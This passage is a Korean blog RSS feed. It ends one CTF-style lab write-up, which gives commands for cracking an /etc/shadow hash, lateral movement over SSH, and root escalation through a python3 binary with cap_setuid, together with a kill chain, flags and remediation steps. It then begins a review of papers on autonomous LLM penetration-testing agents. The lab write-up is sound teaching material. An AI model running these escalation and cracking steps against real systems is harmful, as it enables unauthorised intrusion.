&lt;p&gt;웹 서버의 root 권한을 획득한 후, &lt;code&gt;/etc/shadow&lt;/code&gt; 파일에서 &lt;code&gt;chatbot&lt;/code&gt; 사용자의 SHA-512 해시를 추출할 수 있다. 이 비밀번호는 약한 비밀번호(&lt;code&gt;computer&lt;/code&gt;)로 설정되어 있어 사전 공격으로 쉽게 크래킹된다. 크래킹된 자격증명으로 내부 네트워크의 &lt;code&gt;chatbot_server&lt;/code&gt;에 SSH 접속이 가능하다.&lt;/p&gt;
&lt;h4&gt;공격 과정&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Step 1: /etc/shadow에서 해시 추출&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chatbot:$6$PFz9aNE2WLPepx9A$FBc5z9a2ePprWlpdtFsn/DoNce...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;Step 2: 해시 크래킹&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import crypt
crypt.crypt(&amp;#39;computer&amp;#39;, &amp;#39;$6$PFz9aNE2WLPepx9A$&amp;#39;) == hash_part  # True
# 비밀번호: computer&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: SSH 횡이동&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ssh chatbot@chatbot_server  # password: computer
cat /home/chatbot/flag.txt&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;chatbot_server에 chatbot 사용자로 접근 성공
HSPACE{l4t3r4l_m0v3m3nt_v14_p4ssw0rd_cr4ck}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;강력한 비밀번호 정책 적용 (최소 12자, 복잡성 요구)&lt;/li&gt;
&lt;li&gt;SSH 키 기반 인증으로 전환, 비밀번호 인증 비활성화&lt;/li&gt;
&lt;li&gt;내부 서버 간 네트워크 분리 (마이크로세그멘테이션)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/shadow&lt;/code&gt; 파일 접근 권한 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;취약점 #10: 권한 상승 (Linux Capabilities — cap_setuid)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위험도&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OWASP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A05:2021 – Security Misconfiguration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;위치&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;chatbot_server의 Python 바이너리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;영향&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;chatbot 사용자 → root 권한 상승&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h4&gt;취약점 설명&lt;/h4&gt;
&lt;p&gt;chatbot_server의 Dockerfile에서 Python 바이너리에 &lt;code&gt;cap_setuid+ep&lt;/code&gt; 캐퍼빌리티를 부여하고 있다:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-dockerfile&quot;&gt;RUN setcap cap_setuid+ep /usr/bin/python3&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;cap_setuid&lt;/code&gt;를 가진 프로그램은 &lt;code&gt;setuid(0)&lt;/code&gt;을 호출하여 UID를 root(0)로 변경할 수 있다.&lt;/p&gt;
&lt;h4&gt;공격 과정&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Step 1: 캐퍼빌리티 확인&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;getcap -r / 2&amp;gt;/dev/null
# /usr/bin/python3.10 cap_setuid=ep&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Python으로 root 권한 획득&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;/usr/bin/python3.10 -c &amp;#39;import os; os.setuid(0); os.system(&amp;quot;cat /root/flag.txt&amp;quot;)&amp;#39;&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;공격 결과&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;chatbot → root 권한 상승 성공
HSPACE{c4p4b1l1t13s_c4n_b3_tr1cky}&lt;/code&gt;&lt;/pre&gt;&lt;h4&gt;대응 방안&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;불필요한 Linux Capability 제거&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cap_setuid&lt;/code&gt; 같은 위험한 캐퍼빌리티는 절대 일반 바이너리에 부여하지 않음&lt;/li&gt;
&lt;li&gt;정기적인 &lt;code&gt;getcap -r /&lt;/code&gt; 감사 수행&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. 공격 킬 체인 (Full Attack Path)&lt;/h2&gt;
&lt;p&gt;전체 공격 경로를 연쇄적으로 연결하면 다음과 같다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[외부 공격자]
     │
     ▼
① 정보 수집: robots.txt, main.js, 개발자 도구
     │
     ├─→ Flag 3 (Dev Mode), Flag 4 (robots.txt)
     │
     ▼
② SQL Injection (/board/&amp;lt;id&amp;gt;)
     │
     ├─→ Flag 1 (DB 플래그 탈취)
     │
     ▼
③ 하드코딩 자격증명 크래킹 (main.js SHA-512)
     │
     ├─→ Flag 2 + admin 계정 탈취
     │
     ▼
④ IDOR 주문 정보 접근 (/orders/0)
     │
     ├─→ Flag 7 (숨겨진 주문 데이터)
     │
     ▼
⑤ SSTI → RCE (/admin/calculator)
     │
     ├─→ Flag 5 (RCE), Flag 6 (Config 누출)
     │
     ├─→ 웹 서버에서 www-data 쉘 획득
     │
     ▼
⑥ 권한 상승 (sudo env → root)
     │
     ├─→ Flag 8 (root 플래그)
     │
     ├─→ /etc/shadow 접근 가능
     │
     ▼
⑦ 횡이동 (shadow 크래킹 → SSH chatbot_server)
     │
     ├─→ Flag 9 (chatbot_server 플래그)
     │
     ▼
⑧ 최종 권한 상승 (Python cap_setuid → root)
     │
     └─→ Flag 10 (chatbot_server root 플래그)

[최종 결과: 2개 서버 모두 root 권한 장악]&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;4. 획득 플래그 목록&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;취약점&lt;/th&gt;
&lt;th&gt;위험도&lt;/th&gt;
&lt;th&gt;플래그&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;SQL Injection&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{this_is_your_super_secret_flag}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;하드코딩 자격증명&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{h4rdc0d3d_cr3d3nt14l_!s_d4ng3r0us}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;소스코드 정보 노출&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{d3v_m0d3_1s_d4ng3r0us}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;robots.txt 노출&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{r0b0ts_txt_!s_n0t_a_s3cur1ty_m3ch4n1sm}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;SSTI → RCE&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{SSTI_t0_RCE_!s_my_f4v0r1t3}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;SSTI Config 누출&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{th1s_!s_n0t_a_s3cr3t_k3y}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;IDOR&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{th1s_!s_h1dd3n_0rd3r}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;권한 상승 (sudo)&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{pr1v1l3g3_3sc4l4t10n_!s_n0w_p0ss1bl3}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;횡이동 (SSH)&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{l4t3r4l_m0v3m3nt_v14_p4ssw0rd_cr4ck}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;권한 상승 (Capabilities)&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSPACE{c4p4b1l1t13s_c4n_b3_tr1cky}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;5. 종합 대응 권고&lt;/h2&gt;
&lt;h3&gt;5.1 우선순위별 조치 사항&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;우선순위&lt;/th&gt;
&lt;th&gt;조치 항목&lt;/th&gt;
&lt;th&gt;대상 취약점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P0 (즉시)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SQL 쿼리 파라미터화&lt;/td&gt;
&lt;td&gt;#1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P0 (즉시)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SSTI 취약점 제거 (사용자 입력 → 템플릿 렌더링 차단)&lt;/td&gt;
&lt;td&gt;#5, #6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P0 (즉시)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;하드코딩 자격증명 제거 + 비밀번호 변경&lt;/td&gt;
&lt;td&gt;#2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P0 (즉시)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;sudo 및 capabilities 설정 제거&lt;/td&gt;
&lt;td&gt;#8, #10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P1 (1주 내)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;주문 조회 인가 검증 추가&lt;/td&gt;
&lt;td&gt;#7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P1 (1주 내)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;강력한 비밀번호 정책 + SSH 키 인증 전환&lt;/td&gt;
&lt;td&gt;#9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P2 (2주 내)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;프론트엔드/소스 코드 민감 정보 제거&lt;/td&gt;
&lt;td&gt;#3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P2 (2주 내)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;robots.txt 재검토&lt;/td&gt;
&lt;td&gt;#4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;P3 (장기)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;내부 서버 간 네트워크 세그멘테이션&lt;/td&gt;
&lt;td&gt;#9&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;5.2 보안 아키텍처 권고&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[권장 보안 레이어]

WAF (Web Application Firewall)
  └── SQL Injection, XSS, SSTI 패턴 차단

애플리케이션 계층
  ├── 파라미터화 쿼리 (SQL Injection 방지)
  ├── 템플릿 샌드박스 (SSTI 방지)
  ├── 인가 검증 (IDOR 방지)
  └── 시크릿 관리 도구 (Vault 등)

시스템 계층
  ├── 최소 권한 원칙 (sudo, capabilities 최소화)
  ├── 강력한 비밀번호 + 키 기반 인증
  └── 정기적 보안 감사 (getcap, sudo -l)

네트워크 계층
  └── 서비스 간 마이크로세그멘테이션&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;</description>
      <category>Bug bounty</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/99</guid>
      <comments>https://reversing-study.tistory.com/99#entry99comment</comments>
      <pubDate>Mon, 6 Apr 2026 01:16:28 +0900</pubDate>
    </item>
    <item>
      <title>Red Team &amp;amp; AI 논문 정리</title>
      <link>https://reversing-study.tistory.com/98</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 왜 이 주제인가&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2024년 이후, 보안 연구 커뮤니티에서 가장 폭발적으로 논문이 증가한 분야가 있다. &lt;b&gt;&quot;LLM(Large Language Model) 에이전트를 활용한 자율 침투 테스트(Autonomous Penetration Testing)&quot;&lt;/b&gt;다. 2024년 말부터 2026년 초까지 약 1년 반 동안 arXiv에만 10편 이상의 관련 논문이 등록되었고, IEEE S&amp;amp;P, MDPI 등 학술지에도 채택이 이어지고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 분야의 핵심 질문은 단순하다:&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;LLM 에이전트가 사람 해커처럼 자율적으로 시스템을 침투할 수 있는가?&quot;&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 질문이 중요한 이유는 양면적이다. &lt;b&gt;공격 관점&lt;/b&gt;에서는 침투 테스트의 비용과 인력 부족 문제를 해결할 수 있고, &lt;b&gt;방어 관점&lt;/b&gt;에서는 공격자도 곧 이 기술을 악용할 것이므로 선제적 이해가 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 글에서는 이 분야의 대표적인 최신 논문 3편을 선정하여 비교 분석하고, 기존 연구가 다루지 못한 공백 영역을 식별한 뒤, 구체적인 연구 질문과 설계 방향을 제시한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 선정 논문 개요&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;선정 기준&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;시기:&lt;/b&gt; 2025년 1월 ~ 2026년 3월 (최신 1년 이내)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주제:&lt;/b&gt; LLM 에이전트 기반 자율 침투 테스트&lt;/li&gt;
&lt;li&gt;&lt;b&gt;차별성:&lt;/b&gt; 각 논문이 서로 다른 접근 방식(에이전트 아키텍처, 벤치마크, 메모리 메커니즘)을 제시&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인용/관련성:&lt;/b&gt; 상호 참조 관계에 있는 논문들로 구성&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;논문 목록&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;논문&lt;/th&gt;
&lt;th&gt;발표&lt;/th&gt;
&lt;th&gt;핵심 키워드&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P1&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;VulnBot: Autonomous Penetration Testing for A Multi-Agent Collaborative Framework&lt;/td&gt;
&lt;td&gt;2025.01 (arXiv)&lt;/td&gt;
&lt;td&gt;멀티 에이전트, 태스크 그래프, 단계별 협업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P2&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;CyberExplorer: Benchmarking LLM Offensive Security Capabilities in a Real-World Attacking Simulation Environment&lt;/td&gt;
&lt;td&gt;2026.02 (arXiv)&lt;/td&gt;
&lt;td&gt;벤치마크, 오픈월드 평가, 40개 웹 서비스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;P3&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Red-MIRROR: Agentic LLM-based Autonomous Penetration Testing with Reflective Verification and Knowledge-augmented Interaction&lt;/td&gt;
&lt;td&gt;2026.03 (arXiv)&lt;/td&gt;
&lt;td&gt;RAG, 공유 메모리, 이중 반성, 86% 성공률&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 논문별 상세 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1 [P1] VulnBot &amp;mdash; &quot;침투 테스트 팀을 시뮬레이션하다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저자:&lt;/b&gt; He Kong, Die Hu, Jingguo Ge, Liangxiong Li, Tong Li, Bingzhen Wu&lt;br /&gt;&lt;b&gt;출처:&lt;/b&gt; arXiv:2501.13411 (2025.01)&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;연구 문제&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수동 침투 테스트는 상당한 인적 자원과 시간을 요구한다. 기존 LLM 기반 접근법은 &quot;맥락 이해 부족&quot;과 &quot;비구조적 데이터 생성&quot;으로 인해 실효성이 떨어진다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;방법론&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VulnBot의 핵심 아이디어는 &lt;b&gt;&quot;사람 침투 테스트 팀의 협업 구조를 모방&quot;&lt;/b&gt;하는 것이다.&lt;/p&gt;
&lt;pre class=&quot;crystal&quot;&gt;&lt;code&gt;[VulnBot 아키텍처]

                  ┌─ Reconnaissance Agent (정찰)
                  │    nmap, whois, DNS enum
                  │
Penetration   ────┼─ Scanning Agent (스캐닝)
Task Graph        │    취약점 스캐너, 포트 스캔
(PTG)             │
                  └─ Exploitation Agent (공격)
                       페이로드 생성, 익스플로잇 실행&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;침투 태스크 그래프(PTG):&lt;/b&gt; 정찰 &amp;rarr; 스캐닝 &amp;rarr; 익스플로잇의 논리적 실행 순서를 그래프로 정의&lt;/li&gt;
&lt;li&gt;&lt;b&gt;역할 전문화:&lt;/b&gt; 각 에이전트가 특정 단계만 담당 (사람 팀의 역할 분담 모방)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;에이전트 간 통신:&lt;/b&gt; 이전 단계의 결과를 다음 단계 에이전트에게 구조적으로 전달&lt;/li&gt;
&lt;li&gt;&lt;b&gt;생성적 침투 행위:&lt;/b&gt; LLM이 상황에 맞는 명령과 페이로드를 동적으로 생성&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;평가 결과&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GPT-4, Llama3 기반 단일 에이전트 대비 우수한 성능 (구체적 수치 미공개)&lt;/li&gt;
&lt;li&gt;실제 머신 대상 완전 자율 테스트 성공 사례 보고&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;주요 한계&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;벤치마크 표준 부재:&lt;/b&gt; 자체 테스트 환경만 사용, 재현성/비교 가능성 제한&lt;/li&gt;
&lt;li&gt;&lt;b&gt;웹 취약점 중심:&lt;/b&gt; 네트워크 수준 침투(횡이동, 권한 상승)에 대한 평가 없음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;메모리 메커니즘 부재:&lt;/b&gt; 장기적인 공격 세션에서 이전 시도 결과를 기억하고 학습하는 구조 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2 [P2] CyberExplorer &amp;mdash; &quot;공정한 시험 문제를 만들다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저자:&lt;/b&gt; Nanda Rani, Kimberly Milner 외 10명&lt;br /&gt;&lt;b&gt;출처:&lt;/b&gt; arXiv:2602.08023 (2026.02)&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;연구 문제&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 LLM 공격 에이전트 평가는 &lt;b&gt;&quot;닫힌 세계(closed-world)&quot;&lt;/b&gt; 설정에 의존한다: 미리 정의된 목표, 이진적 성공 기준(플래그 획득/미획득). 이는 실제 공격 상황 &amp;mdash; 미지의 공격 표면 탐색, 불확실성 하의 가설 수정, 성공 보장 없는 작전 &amp;mdash; 과 동떨어져 있다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;방법론&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CyberExplorer는 &lt;b&gt;평가 프레임워크&lt;/b&gt; 자체를 혁신한다.&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;[CyberExplorer 구성]

┌─────────────────────────────────────────┐
│       Open-Environment Benchmark         │
│                                         │
│  VM 1대에 40개 취약 웹 서비스 호스팅     │
│  (실제 CTF 챌린지 기반)                  │
│                                         │
│  에이전트에게 제공되는 사전 정보: 없음    │
│  &amp;rarr; 자율적 정찰, 대상 선택, 공격 수행    │
└─────────────┬───────────────────────────┘
              │
              ▼
┌─────────────────────────────────────────┐
│     Reactive Multi-Agent Framework       │
│                                         │
│  미리 정의된 공격 계획 없이              │
│  동적 탐색 + 반응적 의사결정             │
│                                         │
│  평가 지표:                              │
│  - 플래그 획득 (기존 지표)               │
│  - 상호작용 역학 (신규)                  │
│  - 에이전트 간 조정 행위 (신규)          │
│  - 실패 모드 분석 (신규)                 │
│  - 취약점 발견 시그널 (신규)             │
└─────────────────────────────────────────┘&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;핵심 기여&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;오픈월드 벤치마크:&lt;/b&gt; 에이전트가 사전 지식 없이 40개 서비스를 자율 탐색&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다차원 평가:&lt;/b&gt; 단순 성공/실패를 넘어 &quot;어떻게 실패했는가&quot;, &quot;어떤 탐색 전략을 사용했는가&quot;까지 분석&lt;/li&gt;
&lt;li&gt;&lt;b&gt;재현 가능한 환경:&lt;/b&gt; VM 기반으로 동일 조건 재현 가능&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;주요 한계&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;웹 서비스 한정:&lt;/b&gt; 40개 서비스가 모두 웹 애플리케이션. 네트워크 인프라, Active Directory, 클라우드 환경 미포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CTF 기반의 인위성:&lt;/b&gt; CTF 챌린지는 의도적으로 설계된 취약점이므로, 실제 프로덕션 환경의 복잡성을 완전히 반영하지 못함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;방어 메커니즘 부재:&lt;/b&gt; WAF, IDS, EDR 등 방어 시스템이 없는 &quot;무방비&quot; 환경에서만 테스트&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.3 [P3] Red-MIRROR &amp;mdash; &quot;기억하고, 반성하고, 다시 공격하다&quot;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;저자:&lt;/b&gt; Tran Vy Khang, Nguyen Dang Nguyen Khang 외 4명&lt;br /&gt;&lt;b&gt;출처:&lt;/b&gt; arXiv:2603.27127 (2026.03)&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;연구 문제&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 LLM 에이전트의 3대 약점:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;파라메트릭 지식 과의존:&lt;/b&gt; LLM 학습 데이터에 없는 최신 취약점(CVE)에 대응 불가&lt;/li&gt;
&lt;li&gt;&lt;b&gt;단편적 세션 메모리:&lt;/b&gt; 공격 시도 간의 맥락이 유실되어 같은 실패를 반복&lt;/li&gt;
&lt;li&gt;&lt;b&gt;페이로드 검증 부족:&lt;/b&gt; 공격 성공 여부를 제대로 확인하지 않고 다음 단계로 진행&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;방법론&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Red-MIRROR은 세 가지 메커니즘으로 이 문제를 해결한다:&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;[Red-MIRROR 아키텍처]

┌──────────────────────────────────────────────┐
│              Red-MIRROR System                │
│                                              │
│  ┌──────────┐  ┌──────────┐  ┌───────────┐  │
│  │   RAG    │  │  SRMM    │  │ Dual-Phase│  │
│  │ (외부    │  │ (공유    │  │ Reflection│  │
│  │  지식)   │  │  메모리) │  │ (이중     │  │
│  │          │  │          │  │  반성)    │  │
│  │ CVE DB,  │  │ 에이전트 │  │ ① 페이로드│  │
│  │ exploit  │  │ 간 상태  │  │   검증    │  │
│  │ DB 검색  │  │ 공유     │  │ ② 응답    │  │
│  │          │  │ 장기기억 │  │   검증    │  │
│  └──────────┘  └──────────┘  └───────────┘  │
│         │             │             │        │
│         └─────────────┼─────────────┘        │
│                       ▼                      │
│          멀티 에이전트 추론 백본               │
│      (memory-reflection backbone)            │
└──────────────────────────────────────────────┘&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;RAG:&lt;/b&gt; 외부 취약점 DB, 익스플로잇 DB를 실시간 검색하여 LLM의 파라메트릭 지식 보완&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SRMM (Shared Recurrent Memory Mechanism):&lt;/b&gt; 에이전트 간 상태를 공유하는 순환 메모리. &quot;3번 시도에서 SQLi가 실패했으니 XSS로 전환&quot; 같은 전략적 판단 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이중 반성 (Dual-Phase Reflection):&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
